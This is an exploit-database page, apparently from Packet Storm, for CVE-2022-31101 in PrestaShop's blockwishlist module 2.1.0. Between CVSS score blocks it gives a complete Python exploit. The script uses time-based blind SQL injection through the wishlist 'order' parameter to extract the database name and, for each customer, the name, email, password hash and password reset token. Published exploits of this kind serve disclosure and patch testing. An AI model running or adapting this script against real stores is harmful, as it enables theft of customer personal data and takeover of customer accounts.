Lucene search

K
packetstormKarthik UJPACKETSTORM:168003
HistoryAug 09, 2022 - 12:00 a.m.

Prestashop Blockwishlist 2.1.0 SQL Injection

2022-08-0900:00:00
Karthik UJ
packetstormsecurity.com
314

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

`# Exploit Title: Prestashop blockwishlist module 2.1.0 - SQLi  
# Date: 29/07/22  
# Exploit Author: Karthik UJ (@5up3r541y4n)  
# Vendor Homepage: https://www.prestashop.com/en  
# Software Link (blockwishlist): https://github.com/PrestaShop/blockwishlist/releases/tag/v2.1.0  
# Software Link (prestashop): https://hub.docker.com/r/prestashop/prestashop/  
# Version (blockwishlist): 2.1.0  
# Version (prestashop): 1.7.8.1  
# Tested on: Linux  
# CVE: CVE-2022-31101  
  
  
# This exploit assumes that the website uses 'ps_' as prefix for the table names since it is the default prefix given by PrestaShop  
  
import requests  
  
url = input("Enter the url of wishlist's endpoint (http://website.com/module/blockwishlist/view?id_wishlist=1): ") # Example: http://website.com/module/blockwishlist/view?id_wishlist=1  
cookie = input("Enter cookie value:\n")  
  
header = {  
"Cookie": cookie  
}  
  
# Define static stuff  
param = "&order="  
staticStart = "p.name, (select case when ("  
staticEnd = ") then (SELECT SLEEP(7)) else 1 end); -- .asc"  
charset = 'abcdefghijklmnopqrstuvwxyz1234567890_-@!#$%&\'*+/=?^`{|}~'  
charset = list(charset)  
emailCharset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890_-@!#$%&\'*+/=?^`{|}~.'  
emailCharset = list(emailCharset)  
  
  
# Query current database name length  
print("\nFinding db name's length:")  
for length in range(1, 65):  
condition = "LENGTH(database())=" + str(length)  
fullUrl = url + param + staticStart + condition + staticEnd  
  
try:  
req = requests.get(fullUrl, headers=header, timeout=8)  
except requests.exceptions.Timeout:  
dbLength=length  
print("Length: ", length, end='')  
print("\n")  
break  
  
print("Enumerating current database name:")  
databaseName = ''  
for i in range(1, dbLength+1):  
for char in charset:  
condition = "(SUBSTRING(database()," + str(i) + ",1)='" + char + "')"  
fullUrl = url + param + staticStart + condition + staticEnd  
  
try:  
req = requests.get(fullUrl, headers=header, timeout=8)  
except requests.exceptions.Timeout:  
print(char, end='')  
databaseName += char  
break  
print()  
  
# Enumerate any table  
prefix = "ps_"  
tableName = prefix + "customer"  
staticStart = "p.name, (select case when ("  
staticEnd1 = ") then (SELECT SLEEP(7)) else 1 end from " + tableName + " where id_customer="  
staticEnd2 = "); -- .asc"  
  
print("\nEnumerating " + tableName + " table")  
  
for id in range(1, 10):  
  
condition = "id_customer=" + str(id)  
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2  
  
try:  
req = requests.get(fullUrl, headers=header, timeout=8)  
print("\nOnly " + str(id - 1) + " records found. Exiting...")  
break  
except requests.exceptions.Timeout:  
pass  
  
print("\nid = " + str(id))  
  
# Finding firstname length  
for length in range(0, 100):  
condition = "LENGTH(firstname)=" + str(length)  
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2  
  
try:  
req = requests.get(fullUrl, headers=header, timeout=8)  
except requests.exceptions.Timeout:  
firstnameLength=length  
print("Firstname length: ", length, end='')  
print()  
break  
  
  
# Enumerate firstname  
firstname = ''  
print("Firstname: ", end='')  
for i in range(1, length+1):  
for char in charset:  
condition = "SUBSTRING(firstname," + str(i) + ",1)='" + char + "'"  
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2  
  
try:  
req = requests.get(fullUrl, headers=header, timeout=8)  
except requests.exceptions.Timeout:  
print(char, end='')  
firstname += char  
break  
print()  
  
# Finding lastname length  
for length in range(1, 100):  
condition = "LENGTH(lastname)=" + str(length)  
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2  
  
try:  
req = requests.get(fullUrl, headers=header, timeout=8)  
except requests.exceptions.Timeout:  
lastnameLength=length  
print("Lastname length: ", length, end='')  
print()  
break  
  
# Enumerate lastname  
lastname = ''  
print("Lastname: ", end='')  
for i in range(1, length+1):  
for char in charset:  
condition = "SUBSTRING(lastname," + str(i) + ",1)='" + char + "'"  
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2  
  
try:  
req = requests.get(fullUrl, headers=header, timeout=8)  
except requests.exceptions.Timeout:  
print(char, end='')  
firstname += char  
break  
print()  
  
# Finding email length  
for length in range(1, 320):  
condition = "LENGTH(email)=" + str(length)  
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2  
  
try:  
req = requests.get(fullUrl, headers=header, timeout=8)  
except requests.exceptions.Timeout:  
emailLength=length  
print("Email length: ", length, end='')  
print()  
break   
  
# Enumerate email  
email = ''  
print("Email: ", end='')  
for i in range(1, length+1):  
for char in emailCharset:  
condition = "SUBSTRING(email," + str(i) + ",1)= BINARY '" + char + "'"  
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2  
  
try:  
req = requests.get(fullUrl, headers=header, timeout=8)  
if req.status_code == 500 and char == '.':  
print(char, end='')  
email += char  
except requests.exceptions.Timeout:  
print(char, end='')  
email += char  
break  
print()  
  
# Finding password hash length  
for length in range(1, 500):  
condition = "LENGTH(passwd)=" + str(length)  
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2  
  
try:  
req = requests.get(fullUrl, headers=header, timeout=8)  
except requests.exceptions.Timeout:  
passwordHashLength=length  
print("Password hash length: ", length, end='')  
print()  
break   
  
# Enumerate password hash  
passwordHash = ''  
print("Password hash: ", end='')  
for i in range(1, length+1):  
for char in emailCharset:  
condition = "SUBSTRING(passwd," + str(i) + ",1)= BINARY '" + char + "'"  
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2  
  
try:  
req = requests.get(fullUrl, headers=header, timeout=8)  
if req.status_code == 500 and char == '.':  
print(char, end='')  
passwordHash += char  
except requests.exceptions.Timeout:  
print(char, end='')  
passwordHash += char  
break  
print()  
  
# Finding password reset token length  
for length in range(0, 500):  
condition = "LENGTH(reset_password_token)=" + str(length)  
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2  
  
try:  
req = requests.get(fullUrl, headers=header, timeout=8)  
except requests.exceptions.Timeout:  
passwordResetTokenLength=length  
print("Password reset token length: ", length, end='')  
print()  
break   
  
# Enumerate password reset token  
passwordResetToken = ''  
print("Password reset token: ", end='')  
for i in range(1, length+1):  
for char in emailCharset:  
condition = "SUBSTRING(reset_password_token," + str(i) + ",1)= BINARY '" + char + "'"  
fullUrl = url + param + staticStart + condition + staticEnd1 + str(id) + staticEnd2  
  
try:  
req = requests.get(fullUrl, headers=header, timeout=8)  
if req.status_code == 500 and char == '.':  
print(char, end='')  
passwordResetToken += char  
except requests.exceptions.Timeout:  
print(char, end='')  
passwordResetToken += char  
break  
print()  
  
`

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

6.5 Medium

CVSS2

Access Vector

NETWORK

Access Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P